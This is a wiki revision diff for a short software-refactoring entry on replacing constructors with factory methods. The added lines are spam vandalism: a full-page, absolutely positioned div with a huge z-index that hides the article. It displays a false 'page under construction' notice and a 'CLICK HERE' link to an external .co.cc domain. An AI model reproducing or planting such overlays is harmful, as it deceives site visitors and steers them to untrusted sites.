Replace Constructor with Factory Method
From CSSEMediaWiki
(Difference between revisions)
Line 1: | Line 1: | ||
When constructing a complex object or complex sets of objects, a [[Factory Method]] may be preferable to a [[Constructor]] when creating new objects. This is particularly useful in the case of an inheritance hierarchy where the higher classes and other system classes should not have knowledge of which type of object to create. | When constructing a complex object or complex sets of objects, a [[Factory Method]] may be preferable to a [[Constructor]] when creating new objects. This is particularly useful in the case of an inheritance hierarchy where the higher classes and other system classes should not have knowledge of which type of object to create. | ||
− | == See Also == | + | >== See Also == |
{{Refactoring}} | {{Refactoring}} | ||
+ | |||
+ | ---- | ||
+ | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
+ | ---- | ||
+ | =[http://aruqucyxolo.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]= | ||
+ | ---- | ||
+ | =[http://aruqucyxolo.co.cc CLICK HERE]= | ||
+ | ---- | ||
+ | </div> |
Revision as of 02:30, 18 November 2010
When constructing a complex object or complex sets of objects, a Factory Method may be preferable to a Constructor when creating new objects. This is particularly useful in the case of an inheritance hierarchy where the higher classes and other system classes should not have knowledge of which type of object to create.
>== See Also ==